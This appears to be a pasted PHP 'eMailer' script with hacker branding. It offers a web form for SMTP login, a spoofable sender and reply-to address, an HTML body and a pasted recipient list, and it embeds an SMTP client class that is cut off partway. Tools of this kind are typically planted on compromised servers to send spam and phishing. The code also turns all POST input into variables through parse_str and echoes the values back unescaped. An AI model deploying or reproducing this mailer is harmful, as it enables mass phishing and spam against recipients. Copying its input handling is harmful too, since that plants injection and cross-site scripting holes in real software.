· 8 years ago · Apr 09, 2018, 02:12 PM
1<?php
2
3function query_str($params){
4$str = '';
5foreach ($params as $key => $value) {
6$str .= (strlen($str) < 1) ? '' : '&';
7$str .= $key . '=' . rawurlencode($value);
8}
9return ($str);
10}
11function lrtrim($string){
12return stripslashes(ltrim(rtrim($string)));
13}
14
15
16if(isset($_POST['action'] ) ){
17
18$b = query_str($_POST);
19parse_str($b);
20$sslclick=lrtrim($sslclick);
21$action=lrtrim($action);
22$message=lrtrim($message);
23$emaillist=lrtrim($emaillist);
24$from=lrtrim($from);
25$reconnect=lrtrim($reconnect);
26$epriority=lrtrim($epriority);
27$my_smtp=lrtrim($my_smtp);
28$ssl_port=lrtrim($ssl_port);
29$smtp_username=lrtrim($smtp_username);
30$smtp_password=lrtrim($smtp_password);
31$replyto=lrtrim($replyto);
32$subject=lrtrim($subject);
33$realname=lrtrim($realname);
34$file_name=lrtrim($file);
35$urlz=lrtrim($urlz);
36$contenttype=lrtrim($contenttype);
37
38 $message = urlencode($message);
39 $message = ereg_replace("%5C%22", "%22", $message);
40 $message = urldecode($message);
41 $message = stripslashes($message);
42 $subject = stripslashes($subject);
43}
44
45
46?>
47
48<html>
49
50<head>
51
52<title>eMailer By L0LZ666H05T</title>
53
54<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
55
56<style type="text/css">
57@import url(http://fonts.googleapis.com/css?family=Share+Tech+Mono);
58body {
59 font-family: 'Share Tech Mono';
60}
61.style1 {
62 font-family: 'Share Tech Mono';
63 font-size: 12px;
64}
65</style>
66<style type="text/css">
67<!--
68.style1 {
69 font-size: 10px;
70 font-family: 'Share Tech Mono';
71}
72-->
73</style>
74</head>
75<body bgcolor="#FFFFFF" text="#000000">
76<span class="style1">eMailer By L0LZ666H05T<br>
77 <font color=\"#800000\">xnonhack@gmail.com</font></span>
78
79<form name="form1" method="post" action="" enctype="multipart/form-data">
80
81 <br>
82
83 <table width="100%" border="0" height="407">
84
85 <tr>
86
87 <td width="100%" colspan="4" bgcolor="#666666" height="36">
88
89 <b>
90
91 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
92
93 </tr>
94 <tr>
95
96 <td width="10%" height="22" bgcolor="#E8E8E8">
97
98 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
99
100 </td>
101
102 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
103
104 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
105
106 </font></td>
107
108 <td width="31%" height="22" bgcolor="#E8E8E8">
109
110 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
111
112 </td>
113
114 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
115
116 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
117
118 </font></td>
119
120 </tr>
121 <tr>
122
123 <td width="10%" height="22" bgcolor="#E8E8E8">
124
125 <div align="right">
126 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
127
128 </td>
129
130 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
131
132 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
133 (optional)</font></td>
134
135 <td width="31%" height="22" bgcolor="#E8E8E8">
136
137 <div align="right">
138 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
139 Smtp:</font></div>
140
141 </td>
142
143 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
144
145 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
146
147 </font></td>
148
149 </tr>
150 <tr>
151
152 <td width="10%" height="22" bgcolor="#E8E8E8">
153
154 <p align="right">
155 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
156
157 <td width="18%" height="22" bgcolor="#E8E8E8">
158 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
159
160 <td width="31%" height="22" bgcolor="#E8E8E8">
161
162 <p align="right">
163 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
164 After:</font></td>
165
166 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
167
168 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
169 EMAILS</font></td>
170
171 </tr>
172 <tr>
173
174 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
175
176 <p align="center">
177 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
178 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
179
180 </tr>
181
182 <tr>
183
184 <td width="10%" height="19">
185
186 </td>
187
188 <td width="18%" height="19"> </td>
189
190 <td width="31%" height="19">
191
192 </td>
193
194 <td width="41%" height="19"> </td>
195
196 </tr>
197
198 <tr>
199
200 <td width="100%" colspan="4" bgcolor="#666666" height="36">
201
202 <b>
203
204 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
205
206 </tr>
207
208 <tr>
209
210 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
211
212 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
213
214 Email:</font></div>
215
216 </td>
217
218 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
219
220 <input type="text" name="from" value="<?=$from;?>" size="30">
221
222 </font></td>
223
224 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
225
226 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
227
228 Name:</font></div>
229
230 </td>
231
232 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
233
234 <input type="text" name="realname" value="<?=$realname;?>" size="30">
235
236 </font></td>
237
238 </tr>
239 <tr>
240
241 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
242
243 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
244
245 </td>
246
247 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
248
249 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
250
251 </font></td>
252
253 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
254
255 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
256 Email Priority:</font></td>
257
258 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
259
260 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
261 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
262 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
263 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
264 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
265 </select></td>
266
267 </tr>
268
269 <tr>
270
271 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
272
273 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
274
275 </td>
276
277 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
278
279 <input type="text" name="subject" value="<?=$subject;?>" size="90">
280
281 </font></td>
282
283 </tr>
284
285 <tr>
286
287 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
288
289 </td>
290
291 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
292
293 </font></td>
294
295 </tr>
296
297 <tr valign="top">
298
299<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
300
301 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
302
303 <br>
304
305 <input type="radio" name="contenttype" value="plain" >
306
307 Plain
308
309 <input type="radio" name="contenttype" value="html" checked>
310
311 HTML
312
313 <input type="hidden" name="action" value="send">
314
315 <input type="submit" value="Send Message">
316
317 </font></td>
318
319 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
320
321 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
322
323 </font></td>
324
325 </tr>
326
327 </table>
328
329</form>
330
331
332
333<?
334
335if ($action){
336 if (!$from && !$subject && !$message && !$emaillist){
337 print "<script>alert('Please complete all fields before sending your message.'); </script>";
338 die(); }
339
340class SMTP
341{
342 /**
343 * SMTP server port
344 * @var int
345 */
346 var $SMTP_PORT = 25;
347
348 /**
349 * SMTP reply line ending
350 * @var string
351 */
352 var $CRLF = "\r\n";
353
354 /**
355 * Sets whether debugging is turned on
356 * @var bool
357 */
358 var $do_debug; # the level of debug to perform
359
360 /**
361 * Sets VERP use on/off (default is off)
362 * @var bool
363 */
364 var $do_verp = false;
365
366 /**#@+
367 * @access private
368 */
369 var $smtp_conn; # the socket to the server
370 var $error; # error if any on the last call
371 var $helo_rply; # the reply the server sent to us for HELO
372 /**#@-*/
373
374 /**
375 * Initialize the class so that the data is in a known state.
376 * @access public
377 * @return void
378 */
379 function SMTP() {
380 $this->smtp_conn = 0;
381 $this->error = null;
382 $this->helo_rply = null;
383
384 $this->do_debug = 0;
385 }
386
387 /*************************************************************
388 * CONNECTION FUNCTIONS *
389 ***********************************************************/
390
391 /**
392 * Connect to the server specified on the port specified.
393 * If the port is not specified use the default SMTP_PORT.
394 * If tval is specified then a connection will try and be
395 * established with the server for that number of seconds.
396 * If tval is not specified the default is 30 seconds to
397 * try on the connection.
398 *
399 * SMTP CODE SUCCESS: 220
400 * SMTP CODE FAILURE: 421
401 * @access public
402 * @return bool
403 */
404 function Connect($host,$port=0,$tval=30) {
405 # set the error val to null so there is no confusion
406 $this->error = null;
407
408 # make sure we are __not__ connected
409 if($this->connected()) {
410 # ok we are connected! what should we do?
411 # for now we will just give an error saying we
412 # are already connected
413 $this->error = array("error" => "Already connected to a server");
414 return false;
415 }
416
417 if(empty($port)) {
418 $port = $this->SMTP_PORT;
419 }
420
421 #connect to the smtp server
422 $this->smtp_conn = fsockopen($host, # the host of the server
423 $port, # the port to use
424 $errno, # error number if any
425 $errstr, # error message if any
426 $tval); # give up after ? secs
427 # verify we connected properly
428 if(empty($this->smtp_conn)) {
429 $this->error = array("error" => "Failed to connect to server",
430 "errno" => $errno,
431 "errstr" => $errstr);
432 if($this->do_debug >= 1) {
433 echo "SMTP -> ERROR: " . $this->error["error"] .
434 ": $errstr ($errno)" . $this->CRLF;
435 }
436 return false;
437 }
438
439 # sometimes the SMTP server takes a little longer to respond
440 # so we will give it a longer timeout for the first read
441 // Windows still does not have support for this timeout function
442 if(substr(PHP_OS, 0, 3) != "WIN")
443 socket_set_timeout($this->smtp_conn, $tval, 0);
444
445 # get any announcement stuff
446 $announce = $this->get_lines();
447
448 # set the timeout of any socket functions at 1/10 of a second
449 //if(function_exists("socket_set_timeout"))
450 // socket_set_timeout($this->smtp_conn, 0, 100000);
451
452 if($this->do_debug >= 2) {
453 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
454 }
455
456 return true;
457 }
458
459 /**
460 * Performs SMTP authentication. Must be run after running the
461 * Hello() method. Returns true if successfully authenticated.
462 * @access public
463 * @return bool
464 */
465 function Authenticate($username, $password) {
466 // Start authentication
467 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
468
469 $rply = $this->get_lines();
470 $code = substr($rply,0,3);
471
472 if($code != 334) {
473 $this->error =
474 array("error" => "AUTH not accepted from server",
475 "smtp_code" => $code,
476 "smtp_msg" => substr($rply,4));
477 if($this->do_debug >= 1) {
478 echo "SMTP -> ERROR: " . $this->error["error"] .
479 ": " . $rply . $this->CRLF;
480 }
481 return false;
482 }
483
484 // Send encoded username
485 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
486
487 $rply = $this->get_lines();
488 $code = substr($rply,0,3);
489
490 if($code != 334) {
491 $this->error =
492 array("error" => "Username not accepted from server",
493 "smtp_code" => $code,
494 "smtp_msg" => substr($rply,4));
495 if($this->do_debug >= 1) {
496 echo "SMTP -> ERROR: " . $this->error["error"] .
497 ": " . $rply . $this->CRLF;
498 }
499 return false;
500 }
501
502 // Send encoded password
503 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
504
505 $rply = $this->get_lines();
506 $code = substr($rply,0,3);
507
508 if($code != 235) {
509 $this->error =
510 array("error" => "Password not accepted from server",
511 "smtp_code" => $code,
512 "smtp_msg" => substr($rply,4));
513 if($this->do_debug >= 1) {
514 echo "SMTP -> ERROR: " . $this->error["error"] .
515 ": " . $rply . $this->CRLF;
516 }
517 return false;
518 }
519
520 return true;
521 }
522
523 /**
524 * Returns true if connected to a server otherwise false
525 * @access private
526 * @return bool
527 */
528 function Connected() {
529 if(!empty($this->smtp_conn)) {
530 $sock_status = socket_get_status($this->smtp_conn);
531 if($sock_status["eof"]) {
532 # hmm this is an odd situation... the socket is
533 # valid but we are not connected anymore
534 if($this->do_debug >= 1) {
535 echo "SMTP -> NOTICE:" . $this->CRLF .
536 "EOF caught while checking if connected";
537 }
538 $this->Close();
539 return false;
540 }
541 return true; # everything looks good
542 }
543 return false;
544 }
545
546 /**
547 * Closes the socket and cleans up the state of the class.
548 * It is not considered good to use this function without
549 * first trying to use QUIT.
550 * @access public
551 * @return void
552 */
553 function Close() {
554 $this->error = null; # so there is no confusion
555 $this->helo_rply = null;
556 if(!empty($this->smtp_conn)) {
557 # close the connection and cleanup
558 fclose($this->smtp_conn);
559 $this->smtp_conn = 0;
560 }
561 }
562
563 /***************************************************************
564 * SMTP COMMANDS *
565 *************************************************************/
566
567 /**
568 * Issues a data command and sends the msg_data to the server
569 * finializing the mail transaction. $msg_data is the message
570 * that is to be send with the headers. Each header needs to be
571 * on a single line followed by a <CRLF> with the message headers
572 * and the message body being seperated by and additional <CRLF>.
573 *
574 * Implements rfc 821: DATA <CRLF>
575 *
576 * SMTP CODE INTERMEDIATE: 354
577 * [data]
578 * <CRLF>.<CRLF>
579 * SMTP CODE SUCCESS: 250
580 * SMTP CODE FAILURE: 552,554,451,452
581 * SMTP CODE FAILURE: 451,554
582 * SMTP CODE ERROR : 500,501,503,421
583 * @access public
584 * @return bool
585 */
586 function Data($msg_data) {
587 $this->error = null; # so no confusion is caused
588
589 if(!$this->connected()) {
590 $this->error = array(
591 "error" => "Called Data() without being connected");
592 return false;
593 }
594
595 fputs($this->smtp_conn,"DATA" . $this->CRLF);
596
597 $rply = $this->get_lines();
598 $code = substr($rply,0,3);
599
600 if($this->do_debug >= 2) {
601 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
602 }
603
604 if($code != 354) {
605 $this->error =
606 array("error" => "DATA command not accepted from server",
607 "smtp_code" => $code,
608 "smtp_msg" => substr($rply,4));
609 if($this->do_debug >= 1) {
610 echo "SMTP -> ERROR: " . $this->error["error"] .
611 ": " . $rply . $this->CRLF;
612 }
613 return false;
614 }
615
616 # the server is ready to accept data!
617 # according to rfc 821 we should not send more than 1000
618 # including the CRLF
619 # characters on a single line so we will break the data up
620 # into lines by \r and/or \n then if needed we will break
621 # each of those into smaller lines to fit within the limit.
622 # in addition we will be looking for lines that start with
623 # a period '.' and append and additional period '.' to that
624 # line. NOTE: this does not count towards are limit.
625
626 # normalize the line breaks so we know the explode works
627 $msg_data = str_replace("\r\n","\n",$msg_data);
628 $msg_data = str_replace("\r","\n",$msg_data);
629 $lines = explode("\n",$msg_data);
630
631 # we need to find a good way to determine is headers are
632 # in the msg_data or if it is a straight msg body
633 # currently I am assuming rfc 822 definitions of msg headers
634 # and if the first field of the first line (':' sperated)
635 # does not contain a space then it _should_ be a header
636 # and we can process all lines before a blank "" line as
637 # headers.
638 $field = substr($lines[0],0,strpos($lines[0],":"));
639 $in_headers = false;
640 if(!empty($field) && !strstr($field," ")) {
641 $in_headers = true;
642 }
643
644 $max_line_length = 998; # used below; set here for ease in change
645
646 while(list(,$line) = @each($lines)) {
647 $lines_out = null;
648 if($line == "" && $in_headers) {
649 $in_headers = false;
650 }
651 # ok we need to break this line up into several
652 # smaller lines
653 while(strlen($line) > $max_line_length) {
654 $pos = strrpos(substr($line,0,$max_line_length)," ");
655
656 # Patch to fix DOS attack
657 if(!$pos) {
658 $pos = $max_line_length - 1;
659 }
660
661 $lines_out[] = substr($line,0,$pos);
662 $line = substr($line,$pos + 1);
663 # if we are processing headers we need to
664 # add a LWSP-char to the front of the new line
665 # rfc 822 on long msg headers
666 if($in_headers) {
667 $line = "\t" . $line;
668 }
669 }
670 $lines_out[] = $line;
671
672 # now send the lines to the server
673 while(list(,$line_out) = @each($lines_out)) {
674 if(strlen($line_out) > 0)
675 {
676 if(substr($line_out, 0, 1) == ".") {
677 $line_out = "." . $line_out;
678 }
679 }
680 fputs($this->smtp_conn,$line_out . $this->CRLF);
681 }
682 }
683
684 # ok all the message data has been sent so lets get this
685 # over with aleady
686 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
687
688 $rply = $this->get_lines();
689 $code = substr($rply,0,3);
690
691 if($this->do_debug >= 2) {
692 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
693 }
694
695 if($code != 250) {
696 $this->error =
697 array("error" => "DATA not accepted from server",
698 "smtp_code" => $code,
699 "smtp_msg" => substr($rply,4));
700 if($this->do_debug >= 1) {
701 echo "SMTP -> ERROR: " . $this->error["error"] .
702 ": " . $rply . $this->CRLF;
703 }
704 return false;
705 }
706 return true;
707 }
708
709 /**
710 * Expand takes the name and asks the server to list all the
711 * people who are members of the _list_. Expand will return
712 * back and array of the result or false if an error occurs.
713 * Each value in the array returned has the format of:
714 * [ <full-name> <sp> ] <path>
715 * The definition of <path> is defined in rfc 821
716 *
717 * Implements rfc 821: EXPN <SP> <string> <CRLF>
718 *
719 * SMTP CODE SUCCESS: 250
720 * SMTP CODE FAILURE: 550
721 * SMTP CODE ERROR : 500,501,502,504,421
722 * @access public
723 * @return string array
724 */
725 function Expand($name) {
726 $this->error = null; # so no confusion is caused
727
728 if(!$this->connected()) {
729 $this->error = array(
730 "error" => "Called Expand() without being connected");
731 return false;
732 }
733
734 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
735
736 $rply = $this->get_lines();
737 $code = substr($rply,0,3);
738
739 if($this->do_debug >= 2) {
740 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
741 }
742
743 if($code != 250) {
744 $this->error =
745 array("error" => "EXPN not accepted from server",
746 "smtp_code" => $code,
747 "smtp_msg" => substr($rply,4));
748 if($this->do_debug >= 1) {
749 echo "SMTP -> ERROR: " . $this->error["error"] .
750 ": " . $rply . $this->CRLF;
751 }
752 return false;
753 }
754
755 # parse the reply and place in our array to return to user
756 $entries = explode($this->CRLF,$rply);
757 while(list(,$l) = @each($entries)) {
758 $list[] = substr($l,4);
759 }
760
761 return $list;
762 }
763
764 /**
765 * Sends the HELO command to the smtp server.
766 * This makes sure that we and the server are in
767 * the same known state.
768 *
769 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
770 *
771 * SMTP CODE SUCCESS: 250
772 * SMTP CODE ERROR : 500, 501, 504, 421
773 * @access public
774 * @return bool
775 */
776 function Hello($host="") {
777 $this->error = null; # so no confusion is caused
778
779 if(!$this->connected()) {
780 $this->error = array(
781 "error" => "Called Hello() without being connected");
782 return false;
783 }
784
785 # if a hostname for the HELO was not specified determine
786 # a suitable one to send
787 if(empty($host)) {
788 # we need to determine some sort of appopiate default
789 # to send to the server
790 $host = "localhost";
791 }
792
793 // Send extended hello first (RFC 2821)
794 if(!$this->SendHello("EHLO", $host))
795 {
796 if(!$this->SendHello("HELO", $host))
797 return false;
798 }
799
800 return true;
801 }
802
803 /**
804 * Sends a HELO/EHLO command.
805 * @access private
806 * @return bool
807 */
808 function SendHello($hello, $host) {
809 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
810
811 $rply = $this->get_lines();
812 $code = substr($rply,0,3);
813
814 if($this->do_debug >= 2) {
815 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
816 }
817
818 if($code != 250) {
819 $this->error =
820 array("error" => $hello . " not accepted from server",
821 "smtp_code" => $code,
822 "smtp_msg" => substr($rply,4));
823 if($this->do_debug >= 1) {
824 echo "SMTP -> ERROR: " . $this->error["error"] .
825 ": " . $rply . $this->CRLF;
826 }
827 return false;
828 }
829
830 $this->helo_rply = $rply;
831
832 return true;
833 }
834
835 /**
836 * Gets help information on the keyword specified. If the keyword
837 * is not specified then returns generic help, ussually contianing
838 * A list of keywords that help is available on. This function
839 * returns the results back to the user. It is up to the user to
840 * handle the returned data. If an error occurs then false is
841 * returned with $this->error set appropiately.
842 *
843 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
844 *
845 * SMTP CODE SUCCESS: 211,214
846 * SMTP CODE ERROR : 500,501,502,504,421
847 * @access public
848 * @return string
849 */
850 function Help($keyword="") {
851 $this->error = null; # to avoid confusion
852
853 if(!$this->connected()) {
854 $this->error = array(
855 "error" => "Called Help() without being connected");
856 return false;
857 }
858
859 $extra = "";
860 if(!empty($keyword)) {
861 $extra = " " . $keyword;
862 }
863
864 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
865
866 $rply = $this->get_lines();
867 $code = substr($rply,0,3);
868
869 if($this->do_debug >= 2) {
870 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
871 }
872
873 if($code != 211 && $code != 214) {
874 $this->error =
875 array("error" => "HELP not accepted from server",
876 "smtp_code" => $code,
877 "smtp_msg" => substr($rply,4));
878 if($this->do_debug >= 1) {
879 echo "SMTP -> ERROR: " . $this->error["error"] .
880 ": " . $rply . $this->CRLF;
881 }
882 return false;
883 }
884
885 return $rply;
886 }
887
888 /**
889 * Starts a mail transaction from the email address specified in
890 * $from. Returns true if successful or false otherwise. If True
891 * the mail transaction is started and then one or more Recipient
892 * commands may be called followed by a Data command.
893 *
894 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
895 *
896 * SMTP CODE SUCCESS: 250
897 * SMTP CODE SUCCESS: 552,451,452
898 * SMTP CODE SUCCESS: 500,501,421
899 * @access public
900 * @return bool
901 */
902 function Mail($from) {
903 $this->error = null; # so no confusion is caused
904
905 if(!$this->connected()) {
906 $this->error = array(
907 "error" => "Called Mail() without being connected");
908 return false;
909 }
910
911 $useVerp = ($this->do_verp ? "XVERP" : "");
912 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
913
914 $rply = $this->get_lines();
915 $code = substr($rply,0,3);
916
917 if($this->do_debug >= 2) {
918 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
919 }
920
921 if($code != 250) {
922 $this->error =
923 array("error" => "MAIL not accepted from server",
924 "smtp_code" => $code,
925 "smtp_msg" => substr($rply,4));
926 if($this->do_debug >= 1) {
927 echo "SMTP -> ERROR: " . $this->error["error"] .
928 ": " . $rply . $this->CRLF;
929 }
930 return false;
931 }
932 return true;
933 }
934
935 /**
936 * Sends the command NOOP to the SMTP server.
937 *
938 * Implements from rfc 821: NOOP <CRLF>
939 *
940 * SMTP CODE SUCCESS: 250
941 * SMTP CODE ERROR : 500, 421
942 * @access public
943 * @return bool
944 */
945 function Noop() {
946 $this->error = null; # so no confusion is caused
947
948 if(!$this->connected()) {
949 $this->error = array(
950 "error" => "Called Noop() without being connected");
951 return false;
952 }
953
954 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
955
956 $rply = $this->get_lines();
957 $code = substr($rply,0,3);
958
959 if($this->do_debug >= 2) {
960 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
961 }
962
963 if($code != 250) {
964 $this->error =
965 array("error" => "NOOP not accepted from server",
966 "smtp_code" => $code,
967 "smtp_msg" => substr($rply,4));
968 if($this->do_debug >= 1) {
969 echo "SMTP -> ERROR: " . $this->error["error"] .
970 ": " . $rply . $this->CRLF;
971 }
972 return false;
973 }
974 return true;
975 }
976
977 /**
978 * Sends the quit command to the server and then closes the socket
979 * if there is no error or the $close_on_error argument is true.
980 *
981 * Implements from rfc 821: QUIT <CRLF>
982 *
983 * SMTP CODE SUCCESS: 221
984 * SMTP CODE ERROR : 500
985 * @access public
986 * @return bool
987 */
988 function Quit($close_on_error=true) {
989 $this->error = null; # so there is no confusion
990
991 if(!$this->connected()) {
992 $this->error = array(
993 "error" => "Called Quit() without being connected");
994 return false;
995 }
996
997 # send the quit command to the server
998 fputs($this->smtp_conn,"quit" . $this->CRLF);
999
1000 # get any good-bye messages
1001 $byemsg = $this->get_lines();
1002
1003 if($this->do_debug >= 2) {
1004 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1005 }
1006
1007 $rval = true;
1008 $e = null;
1009
1010 $code = substr($byemsg,0,3);
1011 if($code != 221) {
1012 # use e as a tmp var cause Close will overwrite $this->error
1013 $e = array("error" => "SMTP server rejected quit command",
1014 "smtp_code" => $code,
1015 "smtp_rply" => substr($byemsg,4));
1016 $rval = false;
1017 if($this->do_debug >= 1) {
1018 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1019 $byemsg . $this->CRLF;
1020 }
1021 }
1022
1023 if(empty($e) || $close_on_error) {
1024 $this->Close();
1025 }
1026
1027 return $rval;
1028 }
1029
1030 /**
1031 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1032 * Returns true if the recipient was accepted false if it was rejected.
1033 *
1034 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1035 *
1036 * SMTP CODE SUCCESS: 250,251
1037 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1038 * SMTP CODE ERROR : 500,501,503,421
1039 * @access public
1040 * @return bool
1041 */
1042 function Recipient($to) {
1043 $this->error = null; # so no confusion is caused
1044
1045 if(!$this->connected()) {
1046 $this->error = array(
1047 "error" => "Called Recipient() without being connected");
1048 return false;
1049 }
1050
1051 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1052
1053 $rply = $this->get_lines();
1054 $code = substr($rply,0,3);
1055
1056 if($this->do_debug >= 2) {
1057 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1058 }
1059
1060 if($code != 250 && $code != 251) {
1061 $this->error =
1062 array("error" => "RCPT not accepted from server",
1063 "smtp_code" => $code,
1064 "smtp_msg" => substr($rply,4));
1065 if($this->do_debug >= 1) {
1066 echo "SMTP -> ERROR: " . $this->error["error"] .
1067 ": " . $rply . $this->CRLF;
1068 }
1069 return false;
1070 }
1071 return true;
1072 }
1073
1074 /**
1075 * Sends the RSET command to abort and transaction that is
1076 * currently in progress. Returns true if successful false
1077 * otherwise.
1078 *
1079 * Implements rfc 821: RSET <CRLF>
1080 *
1081 * SMTP CODE SUCCESS: 250
1082 * SMTP CODE ERROR : 500,501,504,421
1083 * @access public
1084 * @return bool
1085 */
1086 function Reset() {
1087 $this->error = null; # so no confusion is caused
1088
1089 if(!$this->connected()) {
1090 $this->error = array(
1091 "error" => "Called Reset() without being connected");
1092 return false;
1093 }
1094
1095 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1096
1097 $rply = $this->get_lines();
1098 $code = substr($rply,0,3);
1099
1100 if($this->do_debug >= 2) {
1101 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1102 }
1103
1104 if($code != 250) {
1105 $this->error =
1106 array("error" => "RSET failed",
1107 "smtp_code" => $code,
1108 "smtp_msg" => substr($rply,4));
1109 if($this->do_debug >= 1) {
1110 echo "SMTP -> ERROR: " . $this->error["error"] .
1111 ": " . $rply . $this->CRLF;
1112 }
1113 return false;
1114 }
1115
1116 return true;
1117 }
1118
1119 /**
1120 * Starts a mail transaction from the email address specified in
1121 * $from. Returns true if successful or false otherwise. If True
1122 * the mail transaction is started and then one or more Recipient
1123 * commands may be called followed by a Data command. This command
1124 * will send the message to the users terminal if they are logged
1125 * in.
1126 *
1127 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1128 *
1129 * SMTP CODE SUCCESS: 250
1130 * SMTP CODE SUCCESS: 552,451,452
1131 * SMTP CODE SUCCESS: 500,501,502,421
1132 * @access public
1133 * @return bool
1134 */
1135 function Send($from) {
1136 $this->error = null; # so no confusion is caused
1137
1138 if(!$this->connected()) {
1139 $this->error = array(
1140 "error" => "Called Send() without being connected");
1141 return false;
1142 }
1143
1144 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1145
1146 $rply = $this->get_lines();
1147 $code = substr($rply,0,3);
1148
1149 if($this->do_debug >= 2) {
1150 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1151 }
1152
1153 if($code != 250) {
1154 $this->error =
1155 array("error" => "SEND not accepted from server",
1156 "smtp_code" => $code,
1157 "smtp_msg" => substr($rply,4));
1158 if($this->do_debug >= 1) {
1159 echo "SMTP -> ERROR: " . $this->error["error"] .
1160 ": " . $rply . $this->CRLF;
1161 }
1162 return false;
1163 }
1164 return true;
1165 }
1166
